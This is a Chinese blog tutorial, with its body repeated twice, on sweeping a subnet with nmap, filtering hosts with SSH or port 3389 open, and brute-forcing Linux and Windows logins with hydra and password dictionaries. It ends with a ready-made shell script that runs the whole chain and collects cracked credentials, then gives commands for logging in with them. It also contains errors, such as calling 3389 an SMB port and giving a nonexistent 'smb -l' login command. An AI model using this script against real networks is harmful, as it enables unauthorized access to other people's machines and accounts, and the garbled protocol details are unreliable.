Linux下使用hydra获取linux和windows系统用户名和密码的教程
2016-08-24 19:38
881 查看
本文主要记录了在linux中使用hydra破解并获取某个网段中linux和windows系统的登录名和密码。其中使用到的工具,例如,弱密码词典、用户名词典、shell脚本我都会传到我的资源里面。
第一步:找到网段内存活的主机
使用nmap工具查找存活的主机并存到up.txt里面,具体代码如下:
在命令行输入:nmap -sn 172.18.16.0/24 > up.txt
从up.txt里面过滤出ip地址存到ip.txt里面,代码如下:
cat up.txt | grep for | awk '{print $5}'>ip.txt
第二步:使用nmap工具扫描linux和windows的远程端口
linux系统:
cat /etc/ssh/sshd_config 命令查看linux的远程端口,linux的远程端口是22,ssh协议。
windows系统:
开始—运行–cmd下输入 netstat –nba ,命令查看linux的远程端口,windows的远程端口是3389,smb协议。
查到远程登陆窗口后,使用nmap扫描22和3389的端口,代码如下:
nmap -p22,3389 -iL ip.txt > res.txt
第三步:从结果里过滤出22端口开着的ip地址
从结果里过滤出22端口开着的ip地址,存放到sship.txt里面,代码如下:
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep ssh | awk '{print $5}'>sship.txt
sship.txt里面的ip地址都是ssh远程开着的linux系统,接下来我们只要用hydra得到它们的密码就可以远程登陆linux系统了。
第四步:从结果里过滤出3389端口开着的ip地址
从结果里过滤出3389端口开着的ip地址,存放到smbip.txt里面,代码如下:
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep 3389 | awk '{print
$5}'>smbip.txt
与第三步类似,smbip.txt里面的ip地址都是smb远程开着的windows系统,接下来我们只要用hydra得到它们的密码就可以远程登陆windows系统了。
第五步:使用hydra暴力破解linux密码
在命令行输入以下命令:
hydra -L user.txt -P passwd.txt -M sship.txt ssh | grep passwd >> find.txt
这段shell使用了user.txt用户名词典和passwd.txt密码词典以及开启ssh服务的ip地址,使用hydra进行暴力破解,从暴破结果中过滤取出ip地址对应的用户名和密码。
第六步:使用hydra暴力破解windows密码
hydra -L user.txt -P passwd.txt -M smbip.txt smb | grep passwd >> find.txt
与第五步相仿,不同的只是协议和ip地址。
第七步:使用找到的密码远程登陆
linux远程连接命令:
ssh -l root 172.18.*.*
输入这个命令之后,系统会提示你输入密码passwd:,这时候你输入获取的密码就可以远程登陆了。
windows远程连接命令:
smb -l Administrator 172.18.*.*
根据提示输入密码,就可以远程登陆了。
最后,我把这些命令写成了一个shell,如下:
#!/bin/sh
para1=$#
para2=$1
if [ $para1 -eq 0 ]; then
echo "请输入你的位置变量"
else
echo "-------------------stpe1 check up host list---------------------------"
echo "nmap -sn $para2 , please wait for moment......"
nmap -sn "$para2">up.txt
cat up.txt | grep for | awk '{print $5}'>ip.txt
echo "up host is done , save to up.txt"
echo "-------------------stpe2 port check 22 and 3389-----------------------"
echo "22 and 3389 port checking... please wait for moment......"
nmap -p22,3389 -iL ip.txt > res.txt
echo "-------------------stpe3 select 22 port------------------------------"
echo "doing 22 save to sship.txt"
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep ssh | awk '{print $5}'>sship.txt
echo "-------------------stpe4 select 3389 port----------------------------"
echo "doing 3389 save to 3389ip.txt"
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep 3389 | awk '{print $5}'>smbip.txt
echo "-----------------------------stpe5 attack ssh------------------------"
hydra -L user.txt -P passwd.txt -M sship.txt ssh | grep passwd >> find.txt
echo "-------------------------stpe6 attack 3389---------------------------"
hydra -L user.txt -P passwd.txt -M smbip.txt smb | grep passwd >> find.txt
cat -n find.txt
fi
shell运行截图:
请大家谨慎使用!
第一步:找到网段内存活的主机
使用nmap工具查找存活的主机并存到up.txt里面,具体代码如下:
在命令行输入:nmap -sn 172.18.16.0/24 > up.txt
从up.txt里面过滤出ip地址存到ip.txt里面,代码如下:
cat up.txt | grep for | awk '{print $5}'>ip.txt
第二步:使用nmap工具扫描linux和windows的远程端口
linux系统:
cat /etc/ssh/sshd_config 命令查看linux的远程端口,linux的远程端口是22,ssh协议。
windows系统:
开始—运行–cmd下输入 netstat –nba ,命令查看linux的远程端口,windows的远程端口是3389,smb协议。
查到远程登陆窗口后,使用nmap扫描22和3389的端口,代码如下:
nmap -p22,3389 -iL ip.txt > res.txt
第三步:从结果里过滤出22端口开着的ip地址
从结果里过滤出22端口开着的ip地址,存放到sship.txt里面,代码如下:
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep ssh | awk '{print $5}'>sship.txt
sship.txt里面的ip地址都是ssh远程开着的linux系统,接下来我们只要用hydra得到它们的密码就可以远程登陆linux系统了。
第四步:从结果里过滤出3389端口开着的ip地址
从结果里过滤出3389端口开着的ip地址,存放到smbip.txt里面,代码如下:
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep 3389 | awk '{print
$5}'>smbip.txt
与第三步类似,smbip.txt里面的ip地址都是smb远程开着的windows系统,接下来我们只要用hydra得到它们的密码就可以远程登陆windows系统了。
第五步:使用hydra暴力破解linux密码
在命令行输入以下命令:
hydra -L user.txt -P passwd.txt -M sship.txt ssh | grep passwd >> find.txt
这段shell使用了user.txt用户名词典和passwd.txt密码词典以及开启ssh服务的ip地址,使用hydra进行暴力破解,从暴破结果中过滤取出ip地址对应的用户名和密码。
第六步:使用hydra暴力破解windows密码
hydra -L user.txt -P passwd.txt -M smbip.txt smb | grep passwd >> find.txt
与第五步相仿,不同的只是协议和ip地址。
第七步:使用找到的密码远程登陆
linux远程连接命令:
ssh -l root 172.18.*.*
输入这个命令之后,系统会提示你输入密码passwd:,这时候你输入获取的密码就可以远程登陆了。
windows远程连接命令:
smb -l Administrator 172.18.*.*
根据提示输入密码,就可以远程登陆了。
最后,我把这些命令写成了一个shell,如下:
#!/bin/sh
para1=$#
para2=$1
if [ $para1 -eq 0 ]; then
echo "请输入你的位置变量"
else
echo "-------------------stpe1 check up host list---------------------------"
echo "nmap -sn $para2 , please wait for moment......"
nmap -sn "$para2">up.txt
cat up.txt | grep for | awk '{print $5}'>ip.txt
echo "up host is done , save to up.txt"
echo "-------------------stpe2 port check 22 and 3389-----------------------"
echo "22 and 3389 port checking... please wait for moment......"
nmap -p22,3389 -iL ip.txt > res.txt
echo "-------------------stpe3 select 22 port------------------------------"
echo "doing 22 save to sship.txt"
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep ssh | awk '{print $5}'>sship.txt
echo "-------------------stpe4 select 3389 port----------------------------"
echo "doing 3389 save to 3389ip.txt"
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep 3389 | awk '{print $5}'>smbip.txt
echo "-----------------------------stpe5 attack ssh------------------------"
hydra -L user.txt -P passwd.txt -M sship.txt ssh | grep passwd >> find.txt
echo "-------------------------stpe6 attack 3389---------------------------"
hydra -L user.txt -P passwd.txt -M smbip.txt smb | grep passwd >> find.txt
cat -n find.txt
fi
shell运行截图:
请大家谨慎使用!
相关文章推荐
- Linux下使用hydra获取linux和windows系统用户名和密码的教程
- 如何利用API获取WINDOWS系统所有用户名和密码(做过的朋友进来看看)
- C++ 获取linux和windows系统的用户名
- windows下获取系统管理员账号明文密码工具mimikatz使用
- C++ 获取linux和windows系统的用户名
- python windows下通过SSH获取linux系统cpu、内存、网络使用情况
- Windows、linux系统使用命令提示符功能(cmd,command,又称命令行)详细图文教程和手册下载
- Windows 到 Linux 之旅—第 6 部分. 使用分区和文件系统
- 使用Windows的启动菜单来启动Linux系统
- windows及Linux系统下获取IP及MAC地址的方法
- windows使用Xmanager远程桌面控制linux系统
- Linux系统上使用smbclient访问Windows共享资源
- linux学习使用总结-linux系统的安装和与windows双系统共享,linux常用的基本命令,今天贴在这里和大家分享
- 菜鸟学堂001――使用getpw以及pwdump获取系统密码
- 如何使你的Linux系统省略输入用户名密码
- windows和linux下系统时间的获取
- 【转】使用Windows的启动菜单来启动Linux系统
- [转] 如何获取Windows系统登陆用户名
- 使用.NET 创建Windows系统服务及安装完全教程
- linux下使用系统调用取得当前用户名